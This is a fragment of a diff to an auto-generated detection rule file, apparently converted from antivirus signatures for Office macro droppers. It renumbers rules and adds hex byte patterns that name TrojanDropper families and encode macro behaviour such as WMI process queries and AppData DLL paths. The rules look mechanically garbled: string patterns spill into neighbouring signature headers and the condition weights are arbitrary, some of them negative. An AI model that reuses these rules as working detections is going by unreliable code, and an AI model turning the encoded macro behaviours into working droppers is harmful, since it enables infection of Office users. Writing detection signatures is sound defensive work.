1)*21837+(#a_54_3 & 1)*32071+(#a_67_4 & 1)*27752+(#a_3d_5 & 1)*9984) >=6 } -rule _InfrastructureShared_24455{ +rule _InfrastructureShared_25744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -319201,7 +335735,7 @@ rule _InfrastructureShared_24455{ ((#a_48_0 & 1)*19747+(#a_36_1 & 1)*13602+(#a_31_2 & 1)*12066+(#a_2a_3 & 1)*10566+(#a_73_4 & 1)*28483) >=5 } -rule _InfrastructureShared_24456{ +rule _InfrastructureShared_25745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0b 00 21 " @@ -319221,7 +335755,7 @@ rule _InfrastructureShared_24456{ ((#a_53_0 & 1)*19747+(#a_57_1 & 1)*26691+(#a_62_2 & 1)*30830+(#a_20_3 & 1)*8226+(#a_4f_4 & 1)*20336+(#a_22_5 & 1)*15648+(#a_74_6 & 1)*29807+(#a_20_7 & 1)*656+(#a_00_8 & 1)*3216+(#a_72_9 & 1)*17696+(#a_90_10 & 1)*28271) >=1 } -rule _InfrastructureShared_24457{ +rule _InfrastructureShared_25746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -319235,7 +335769,7 @@ rule _InfrastructureShared_24457{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8235+(#a_2b_2 & 1)*8194+(#a_72_4 & 1)*17696+(#a_90_5 & 1)*28271) >=6 } -rule _InfrastructureShared_24458{ +rule _InfrastructureShared_25747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -319253,7 +335787,7 @@ rule _InfrastructureShared_24458{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_22_2 & 1)*21248+(#a_2b_3 & 1)*8194+(#a_20_4 & 1)*-28640+(#a_20_5 & 1)*8224+(#a_29_6 & 1)*8194+(#a_00_7 & 1)*3216+(#a_69_8 & 1)*25454) >=9 } -rule _InfrastructureShared_24459{ +rule _InfrastructureShared_25748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -319270,7 +335804,7 @@ rule _InfrastructureShared_24459{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*26917+(#a_02_2 & 1)*8236+(#a_20_3 & 1)*656+(#a_75_4 & 1)*2+(#a_4d_5 & 1)*19521+(#a_22_6 & 1)*656+(#a_5f_7 & 1)*656) >=8 } -rule _InfrastructureShared_24460{ +rule _InfrastructureShared_25749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -319287,7 +335821,7 @@ rule _InfrastructureShared_24460{ ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*656+(#a_02_2 & 1)*28530+(#a_02_3 & 1)*10272+(#a_02_4 & 1)*-28631+(#a_65_5 & 1)*30067+(#a_90_6 & 1)*24838+(#a_02_7 & 1)*24946) >=8 } -rule _InfrastructureShared_24461{ +rule _InfrastructureShared_25750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -319298,7 +335832,7 @@ rule _InfrastructureShared_24461{ ((#a_53_0 & 1)*19747+(#a_2f_1 & 1)*656) >=1 } -rule _InfrastructureShared_24462{ +rule _InfrastructureShared_25751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -319313,7 +335847,7 @@ rule _InfrastructureShared_24462{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*11305+(#a_2c_2 & 1)*20482+(#a_3d_3 & 1)*19200+(#a_90_4 & 1)*31073+(#a_20_5 & 1)*10544) >=1 } -rule _InfrastructureShared_24463{ +rule _InfrastructureShared_25752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 09 00 21 " @@ -319331,7 +335865,7 @@ rule _InfrastructureShared_24463{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*10530+(#a_20_2 & 1)*1538+(#a_02_3 & 1)*-28631+(#a_43_4 & 1)*25449+(#a_00_5 & 1)*144+(#a_74_6 & 1)*21251+(#a_65_7 & 1)*28524+(#a_67_8 & 1)*26994) >=8 } -rule _InfrastructureShared_24464{ +rule _InfrastructureShared_25753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -319354,7 +335888,7 @@ rule _InfrastructureShared_24464{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*11367+(#a_29_2 & 1)*24948+(#a_72_3 & 1)*21280+(#a_65_4 & 1)*25128+(#a_69_5 & 1)*31077+(#a_53_6 & 1)*15617+(#a_74_7 & 1)*28277+(#a_30_9 & 1)*12849+(#a_32_10 & 1)*12601+(#a_32_11 & 1)*13105+(#a_37_12 & 1)*10+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1) >=15 } -rule _InfrastructureShared_24465{ +rule _InfrastructureShared_25754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 1f 00 21 " @@ -319393,7 +335927,7 @@ rule _InfrastructureShared_24465{ ((#a_53_0 & 1)*19747+(#a_67_1 & 1)*12338+(#a_31_2 & 1)*12288+(#a_67_3 & 1)*12338+(#a_31_4 & 1)*12544+(#a_30_5 & 1)*12849+(#a_32_6 & 1)*12596+(#a_32_7 & 1)*14386+(#a_00_8 & 1)*-10609+(#a_4d_10 & 1)*8448+(#a_6e_11 & 1)*28521+(#a_61_12 & 1)*28279+(#a_6f_13 & 1)*30575+(#a_20_14 & 1)*8194+(#a_73_15 & 1)*21024+(#a_69_16 & 1)*25454+(#a_2b_17 & 1)*10354+(#a_31_18 & 1)*29556+(#a_72_19 & 1)*17921+(#a_72_20 & 1)*30496+(#a_02_21 & 1)*28014+(#a_30_22 & 1)*-28626+(#a_40_23 & 1)*-28638+(#a_02_24 & 1)*28480+(#a_77_25 & 1)*25710+(#a_00_26 & 1)*9+(#a_6f_27 & 1)*17722+(#a_02_28 & 1)*8308+(#a_3d_29 & 1)*5376+(#a_90_30 & 1)*29801) >=1 } -rule _InfrastructureShared_24466{ +rule _InfrastructureShared_25755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -319407,7 +335941,7 @@ rule _InfrastructureShared_24466{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*28269+(#a_6e_2 & 1)*26999+(#a_77_3 & 1)*25185+(#a_20_4 & 1)*20232) >=5 } -rule _InfrastructureShared_24467{ +rule _InfrastructureShared_25756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -319422,7 +335956,7 @@ rule _InfrastructureShared_24467{ ((#a_53_0 & 1)*19747+(#a_63_1 & 1)*30022+(#a_65_2 & 1)*26996+(#a_2e_3 & 1)*25640+(#a_77_4 & 1)*14889+(#a_73_5 & 1)*29279) >=7 } -rule _InfrastructureShared_24468{ +rule _InfrastructureShared_25757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -319437,7 +335971,7 @@ rule _InfrastructureShared_24468{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*26917+(#a_2e_3 & 1)*6912+(#a_90_4 & 1)*25972+(#a_65_5 & 1)*8236+(#a_3d_6 & 1)*16503) >=7 } -rule _InfrastructureShared_24469{ +rule _InfrastructureShared_25758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -319455,7 +335989,7 @@ rule _InfrastructureShared_24469{ ((#a_53_0 & 1)*19747+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1) >=9 } -rule _InfrastructureShared_24470{ +rule _InfrastructureShared_25759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -319469,7 +336003,7 @@ rule _InfrastructureShared_24470{ ((#a_53_0 & 1)*19747+(#a_10_1 & 1)*-28577+(#a_73_2 & 1)*25199+(#a_00_3 & 1)*144+(#a_20_4 & 1)*20227) >=1 } -rule _InfrastructureShared_24471{ +rule _InfrastructureShared_25760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -319483,7 +336017,7 @@ rule _InfrastructureShared_24471{ ((#a_53_0 & 1)*19747+(#a_6d_1 & 1)*11314+(#a_3b_2 & 1)*8241+(#a_20_3 & 1)*12910+(#a_5f_4 & 1)*8241) >=5 } -rule _InfrastructureShared_24472{ +rule _InfrastructureShared_25761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -319501,7 +336035,7 @@ rule _InfrastructureShared_24472{ ((#a_53_0 & 1)*19747+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1) >=9 } -rule _InfrastructureShared_24473{ +rule _InfrastructureShared_25762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -319516,7 +336050,7 @@ rule _InfrastructureShared_24473{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*31090+(#a_20_2 & 1)*-28580+(#a_02_3 & 1)*11808+(#a_65_4 & 1)*28524+(#a_43_5 & 1)*656) >=6 } -rule _InfrastructureShared_24474{ +rule _InfrastructureShared_25763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -319533,7 +336067,7 @@ rule _InfrastructureShared_24474{ ((#a_53_0 & 1)*19747+(#a_6d_1 & 1)*16706+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=8 } -rule _InfrastructureShared_24475{ +rule _InfrastructureShared_25764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -319549,7 +336083,7 @@ rule _InfrastructureShared_24475{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*26917+(#a_3d_2 & 1)*8194+(#a_75_3 & 1)*25938+(#a_43_4 & 1)*29800+(#a_74_5 & 1)*16680+(#a_53_7 & 1)*19200) >=8 } -rule _InfrastructureShared_24476{ +rule _InfrastructureShared_25765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 08 00 21 " @@ -319566,7 +336100,7 @@ rule _InfrastructureShared_24476{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*12618+(#a_47_2 & 1)*21053+(#a_6e_3 & 1)*25722+(#a_44_4 & 1)*15648+(#a_33_5 & 1)*25957+(#a_31_6 & 1)*10307+(#a_3d_7 & 1)*806) >=1 } -rule _InfrastructureShared_24477{ +rule _InfrastructureShared_25766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -319583,7 +336117,7 @@ rule _InfrastructureShared_24477{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*28265+(#a_53_2 & 1)*8194+(#a_65_3 & 1)*28257+(#a_61_5 & 1)*29251+(#a_74_6 & 1)*27973+(#a_20_7 & 1)*8224+(#a_72_8 & 1)*656) >=9 } -rule _InfrastructureShared_24478{ +rule _InfrastructureShared_25767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -319602,7 +336136,7 @@ rule _InfrastructureShared_24478{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_22_2 & 1)*21248+(#a_2b_3 & 1)*8194+(#a_20_4 & 1)*-28640+(#a_20_5 & 1)*8224+(#a_29_6 & 1)*8194+(#a_00_7 & 1)*3216+(#a_69_8 & 1)*25454+(#a_90_9 & 1)*8236) >=10 } -rule _InfrastructureShared_24479{ +rule _InfrastructureShared_25768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -319621,7 +336155,7 @@ rule _InfrastructureShared_24479{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*9474+(#a_43_2 & 1)*794+(#a_2d_3 & 1)*10528+(#a_45_4 & 1)*28239+(#a_20_5 & 1)*8256+(#a_20_6 & 1)*28521+(#a_65_7 & 1)*17184+(#a_6f_8 & 1)*30017+(#a_90_9 & 1)*28009) >=10 } -rule _InfrastructureShared_24480{ +rule _InfrastructureShared_25769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -319636,7 +336170,7 @@ rule _InfrastructureShared_24480{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*8301+(#a_43_2 & 1)*15619+(#a_00_3 & 1)*10506+(#a_65_4 & 1)*25167+(#a_20_5 & 1)*656) >=6 } -rule _InfrastructureShared_24481{ +rule _InfrastructureShared_25770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -319655,7 +336189,7 @@ rule _InfrastructureShared_24481{ ((#a_53_0 & 1)*19747+(#a_22_2 & 1)*15648+(#a_90_3 & 1)*8736+(#a_74_4 & 1)*656+(#a_90_5 & 1)*11040+(#a_2e_7 & 1)*5376+(#a_02_8 & 1)*10355+(#a_75_9 & 1)*8292+(#a_72_10 & 1)*14930+(#a_72_11 & 1)*17923) >=12 } -rule _InfrastructureShared_24482{ +rule _InfrastructureShared_25771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -319670,7 +336204,21 @@ rule _InfrastructureShared_24482{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*841+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1) >=6 } -rule _InfrastructureShared_24483{ +rule _InfrastructureShared_25772{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 4f 39 37 4d 2f 5a 6f 6f 46 6c 69 70 2e 42 21 64 68 61 00 01 00 16 03 77 69 6e 36 34 90 02 07 77 69 6e 33 32 90 02 07 76 62 61 37 90 00 01 00 3d 03 74 79 70 65 70 69 68 70 61 73 6c 6f 6e } //16675 + $a_03_1 = {68 74 } //-28569 ht + $a_6f_2 = {67 90 02 03 64 70 69 61 73 6c 6f 6e 67 90 02 03 64 74 69 61 73 6c 6f 6e 67 90 02 03 65 6e 64 74 79 70 65 90 00 01 00 31 03 74 79 70 65 73 69 63 62 61 73 6c 6f 6e 67 90 02 03 6c 72 61 73 6c 6f 6e 67 90 02 03 6c 64 61 73 6c 6f 6e 67 90 02 03 6c 74 61 73 6c 6f 6e 67 90 00 01 00 71 01 64 78 61 73 6c 6f 6e 67 64 79 61 73 6c 6f } //29537 + $a_78_3 = {61 73 6c 6f 6e 67 64 79 73 61 73 6c 6f 6e 67 64 78 63 63 61 73 6c 6f 6e 67 64 79 63 63 61 73 6c 6f 6e 67 64 66 61 61 73 6c 6f 6e 67 64 66 61 73 6c 6f 6e 67 77 73 77 61 73 69 6e 74 65 67 65 72 63 72 32 61 73 69 6e 74 65 67 65 72 6c 72 32 61 73 62 79 74 65 68 73 69 61 73 6c 6f 6e 67 01 00 b2 01 63 72 } //26478 + $a_65_4 = {72 6f 63 65 73 73 77 22 28 5f 62 79 76 61 6c 6c 61 6e 61 73 6c 6f 6e 67 2c 5f 62 79 76 61 6c 6c 63 6c 61 73 6c 6f 6e 67 2c 5f 62 79 76 61 6c 6c 70 61 73 61 73 6c 6f 6e 67 2c 5f 62 79 76 61 6c 6c 74 61 73 61 73 6c 6f 6e 67 2c 5f 62 79 76 61 6c 62 69 68 73 61 73 6c 6f 6e 67 2c 5f 62 79 76 61 6c 64 63 66 73 61 73 6c 6f 6e 67 2c 5f 62 79 76 61 6c 6c } //24933 rocessw"(_byvallanaslong,_byvallclaslong,_byvallpasaslong,_byvalltasaslong,_byvalbihsaslong,_byvaldcfsaslong,_byvall + condition: + ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*-28569+(#a_6f_2 & 1)*29537+(#a_78_3 & 1)*26478+(#a_65_4 & 1)*24933) >=5 + +} +rule _InfrastructureShared_25773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -319682,7 +336230,7 @@ rule _InfrastructureShared_24483{ ((#a_53_0 & 1)*19747+(#a_5b_1 & 1)*30555+(#a_20_2 & 1)*23840) >=3 } -rule _InfrastructureShared_24484{ +rule _InfrastructureShared_25774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,10 00 10 00 10 00 21 " @@ -319701,13 +336249,13 @@ rule _InfrastructureShared_24484{ $a_6d_11 = {90 02 20 28 29 90 0c 02 00 52 65 44 69 6d 90 00 01 00 41 03 45 6e 64 20 46 75 6e 63 74 69 6f 6e 90 0c 02 00 46 75 6e 63 74 69 6f 6e 20 90 02 20 28 90 02 20 29 90 0c 02 00 4f 6e 20 45 72 72 6f 72 20 52 65 73 75 6d 65 20 4e 65 78 74 90 02 10 44 69 6d 90 00 01 00 23 03 53 65 74 20 90 02 20 20 3d 20 43 72 65 61 74 65 } //17445 $a_65_12 = {74 28 90 02 20 29 90 02 10 44 69 6d 90 00 01 00 2b 03 50 72 69 76 61 74 65 20 53 75 62 20 44 6f 63 75 6d 65 6e 74 5f 6f 70 65 6e 28 29 90 02 20 2e 90 02 20 45 6e 64 20 53 75 62 90 00 01 00 19 03 2e 50 61 67 65 73 28 31 29 2e 43 61 70 74 69 6f 6e 90 02 10 44 69 6d 90 00 01 00 50 03 45 6e 64 20 46 75 6e 63 74 69 6f 6e } //25167 $a_00_13 = {46 75 } //3216 Fu - $a_69_14 = {6e 20 90 02 20 28 90 02 20 29 90 0c 02 00 4f 6e 20 45 72 72 6f 72 20 52 65 73 75 6d 65 20 4e 65 78 74 90 02 10 44 69 6d 20 90 02 20 28 29 90 0c 02 00 52 65 44 69 6d 90 00 00 00 8f ee 01 00 01 00 01 00 07 00 21 23 4d 48 53 54 52 3a 4f 62 66 75 73 63 61 74 6f 72 2e 54 65 6d 70 45 78 65 2e 41 00 01 00 22 03 3d 20 22 25 54 90 02 05 4d 90 02 05 50 90 } //25454 - $a_20_15 = {1d 0f 00 20 2b 90 02 05 78 90 02 05 65 90 00 01 00 46 03 50 75 62 6c 69 63 20 46 75 6e 63 74 69 6f 6e 20 90 12 1f 00 28 29 90 02 } //1282 + $a_69_14 = {6e 20 90 02 20 28 90 02 20 29 90 0c 02 00 4f 6e 20 45 72 72 6f 72 20 52 65 73 75 6d 65 20 4e 65 78 74 90 02 10 44 69 6d 20 90 02 20 28 29 90 0c 02 00 52 65 44 69 6d 90 00 00 00 8f ed 01 00 04 00 04 00 04 00 21 23 4d 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 4f 39 37 4d 2f 46 72 61 67 74 6f 72 2e 50 48 30 21 4d 54 42 00 01 00 2d 03 } //25454 + $a_6e_15 = {65 63 74 73 65 72 76 65 72 28 90 02 23 28 22 37 32 36 66 36 66 37 34 35 63 34 33 34 39 34 64 35 36 33 32 22 29 29 90 00 01 00 4f 03 3d 65 6e 76 69 72 6f 6e 28 90 02 0f 28 22 34 31 37 30 37 30 34 34 36 31 37 34 36 31 22 29 29 26 90 1b 00 28 22 35 63 34 64 36 39 36 33 37 32 36 66 37 33 36 66 36 36 37 34 35 63 22 29 26 90 02 1e 28 22 } //25390 condition: - ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*31042+(#a_00_2 & 1)*144+(#a_47_3 & 1)*15619+(#a_4a_4 & 1)*15617+(#a_44_5 & 1)*2816+(#a_50_6 & 1)*26485+(#a_43_7 & 1)*8293+(#a_28_8 & 1)*28530+(#a_67_9 & 1)*19523+(#a_90_10 & 1)*26912+(#a_6d_11 & 1)*17445+(#a_65_12 & 1)*25167+(#a_00_13 & 1)*3216+(#a_69_14 & 1)*25454+(#a_20_15 & 1)*1282) >=16 + ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*31042+(#a_00_2 & 1)*144+(#a_47_3 & 1)*15619+(#a_4a_4 & 1)*15617+(#a_44_5 & 1)*2816+(#a_50_6 & 1)*26485+(#a_43_7 & 1)*8293+(#a_28_8 & 1)*28530+(#a_67_9 & 1)*19523+(#a_90_10 & 1)*26912+(#a_6d_11 & 1)*17445+(#a_65_12 & 1)*25167+(#a_00_13 & 1)*3216+(#a_69_14 & 1)*25454+(#a_6e_15 & 1)*25390) >=16 } -rule _InfrastructureShared_24485{ +rule _InfrastructureShared_25775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -319718,15 +336266,28 @@ rule _InfrastructureShared_24485{ $a_52_3 = {73 75 6d 65 20 4e 65 78 74 90 02 10 44 69 6d 90 00 01 00 23 03 53 65 74 20 90 02 20 20 3d 20 43 } //29295 $a_74_4 = {4f 62 6a 65 63 74 28 90 02 20 29 90 02 10 44 69 6d 90 00 01 00 2b 03 50 72 69 76 61 74 65 20 53 75 62 20 44 6f 63 75 6d 65 6e 74 5f 6f 70 65 6e 28 29 90 02 20 2e 90 02 20 45 6e 64 20 53 75 62 90 00 01 00 19 03 2e 50 61 67 65 73 28 31 29 2e 43 61 70 74 69 6f 6e 90 02 10 44 69 6d 90 00 01 00 } //25970 $a_6e_5 = {20 46 75 6e 63 74 69 6f 6e 90 0c 02 00 46 75 6e 63 74 69 6f 6e 20 90 02 20 28 90 02 20 29 90 0c 02 00 4f 6e 20 45 72 72 6f 72 20 52 65 73 75 6d 65 20 4e 65 78 74 90 02 10 44 69 6d 20 90 02 20 28 29 90 0c 02 } //848 - $a_44_6 = {6d 90 00 00 00 8f ee 01 00 01 00 01 00 07 00 21 23 4d 48 53 54 52 3a 4f 62 66 75 73 63 61 74 6f 72 2e 54 65 6d 70 45 78 65 2e 41 00 01 00 22 03 3d 20 22 25 54 90 02 05 4d 90 02 05 50 90 02 05 2b 20 90 1d 0f 00 20 2b 90 02 05 78 90 02 05 65 90 00 01 00 46 03 50 75 62 6c 69 63 20 46 75 6e 63 74 69 6f 6e } //20992 - $a_1f_7 = {28 29 90 02 50 22 90 01 10 90 02 1f 25 90 02 05 74 90 } //-28640 - $a_90_8 = {05 70 90 02 05 5c 90 01 05 90 02 09 2e 90 02 05 65 90 02 05 78 90 02 05 65 90 00 01 00 46 03 45 6e 64 20 49 66 90 02 0f 3d 90 02 ff 24 90 01 01 90 02 05 65 90 02 05 6e 90 02 05 76 90 02 05 54 90 02 05 45 90 02 05 4d 90 02 05 50 90 02 05 5c 90 01 09 90 02 0f 2e 90 02 05 65 90 02 05 78 90 02 05 65 90 00 01 00 40 03 50 75 62 6c } //1282 - $a_53_9 = {62 20 90 12 1f 00 28 29 90 02 ff 3d 20 22 90 02 ff 25 90 02 05 74 90 01 01 90 02 05 6d 90 02 05 } //25449 + $a_44_6 = {6d 90 00 00 00 8f ed 01 00 04 00 04 00 04 00 21 23 4d 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 4f 39 37 4d 2f 46 72 61 67 74 6f 72 2e 50 48 30 21 4d 54 42 00 01 00 2d 03 2e 63 6f 6e 6e 65 63 74 73 65 72 76 65 72 28 90 02 23 28 22 37 32 36 66 36 66 37 34 35 63 34 33 34 39 34 64 35 36 33 } //20992 + $a_29_7 = {00 01 00 4f 03 3d 65 6e 76 69 72 6f 6e 28 90 02 0f 28 22 34 31 37 30 37 30 34 34 36 31 37 34 36 31 22 29 29 26 90 1b 00 28 } //8754 + $a_34_8 = {36 39 36 33 37 32 36 66 37 33 36 66 36 36 37 34 35 63 22 29 26 90 02 1e 28 22 32 65 36 34 36 63 36 63 22 29 90 00 01 00 6b 03 28 22 35 33 36 35 36 63 36 35 36 33 37 34 32 30 34 65 36 31 36 64 36 35 32 30 34 36 35 32 34 66 34 64 32 30 35 37 36 39 36 65 33 33 33 32 35 66 35 30 37 32 36 66 36 33 36 } //13602 + $a_37_9 = {32 30 37 37 36 38 36 35 37 32 36 35 32 30 34 65 36 31 36 64 36 35 32 30 33 64 32 30 32 37 22 29 26 90 02 23 28 22 32 37 22 29 29 90 00 01 00 c3 01 28 22 } //14133 condition: - ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*656+(#a_02_2 & 1)*28530+(#a_52_3 & 1)*29295+(#a_74_4 & 1)*25970+(#a_6e_5 & 1)*848+(#a_44_6 & 1)*20992+(#a_1f_7 & 1)*-28640+(#a_90_8 & 1)*1282+(#a_53_9 & 1)*25449) >=10 + ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*656+(#a_02_2 & 1)*28530+(#a_52_3 & 1)*29295+(#a_74_4 & 1)*25970+(#a_6e_5 & 1)*848+(#a_44_6 & 1)*20992+(#a_29_7 & 1)*8754+(#a_34_8 & 1)*13602+(#a_37_9 & 1)*14133) >=10 } -rule _InfrastructureShared_24486{ +rule _InfrastructureShared_25776{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_53_0 = {52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 4f 39 37 4d 2f 46 72 61 67 74 6f 72 2e 50 48 30 21 4d 54 42 00 01 00 2d 03 2e 63 6f 6e 6e 65 63 74 73 65 72 76 65 72 28 90 02 23 28 22 37 32 36 66 36 66 37 34 35 63 34 } //19747 + $a_34_1 = {35 36 33 32 22 29 29 90 00 01 00 4f 03 3d 65 6e 76 69 72 6f 6e 28 90 02 0f 28 22 34 31 37 30 37 30 34 34 36 31 37 34 36 31 22 29 29 26 90 1b 00 28 22 35 63 34 64 36 39 36 } //13363 + $a_36_2 = {37 33 36 66 36 36 37 34 35 63 22 29 26 90 02 1e 28 22 32 65 36 34 36 63 36 63 22 29 90 00 01 00 6b 03 28 22 35 33 36 35 36 63 36 35 36 33 37 34 32 30 } //14131 + $a_31_3 = {64 36 35 32 30 34 36 35 32 34 66 34 64 32 30 35 37 36 39 36 65 33 33 33 32 35 66 35 30 37 32 36 66 36 33 36 35 37 33 37 33 32 30 37 37 36 38 36 35 37 32 36 35 32 } //25908 d652046524f4d2057696e33325f50726f636573732077686572652 + condition: + ((#a_53_0 & 1)*19747+(#a_34_1 & 1)*13363+(#a_36_2 & 1)*14131+(#a_31_3 & 1)*25908) >=4 + +} +rule _InfrastructureShared_25777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 07 00 21 " @@ -319742,7 +336303,7 @@ rule _InfrastructureShared_24486{ ((#a_53_0 & 1)*19747+(#a_63_1 & 1)*30022+(#a_09_2 & 1)*-28580+(#a_90_3 & 1)*3842+(#a_01_4 & 1)*-28556+(#a_90_5 & 1)*1282+(#a_61_6 & 1)*26988) >=1 } -rule _InfrastructureShared_24487{ +rule _InfrastructureShared_25778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -319757,7 +336318,7 @@ rule _InfrastructureShared_24487{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*8194+(#a_90_2 & 1)*11040+(#a_52_3 & 1)*15648+(#a_00_4 & 1)*10528+(#a_20_5 & 1)*18720) >=6 } -rule _InfrastructureShared_24488{ +rule _InfrastructureShared_25779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -319772,7 +336333,7 @@ rule _InfrastructureShared_24488{ ((#a_53_0 & 1)*19747+(#a_65_2 & 1)*26707+(#a_6d_3 & 1)*29185+(#a_61_4 & 1)*25376+(#a_29_5 & 1)*8236+(#a_2e_6 & 1)*26988) >=7 } -rule _InfrastructureShared_24489{ +rule _InfrastructureShared_25780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 07 00 21 " @@ -319788,7 +336349,7 @@ rule _InfrastructureShared_24489{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*27+(#a_00_2 & 1)*-28668+(#a_04_3 & 1)*-28571+(#a_04_4 & 1)*-28672+(#a_04_5 & 1)*-28672+(#a_04_6 & 1)*-28672) >=1 } -rule _InfrastructureShared_24490{ +rule _InfrastructureShared_25781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -319806,7 +336367,7 @@ rule _InfrastructureShared_24490{ ((#a_53_0 & 1)*19747+(#a_67_1 & 1)*26994+(#a_20_2 & 1)*-28640+(#a_41_3 & 1)*10528+(#a_72_4 & 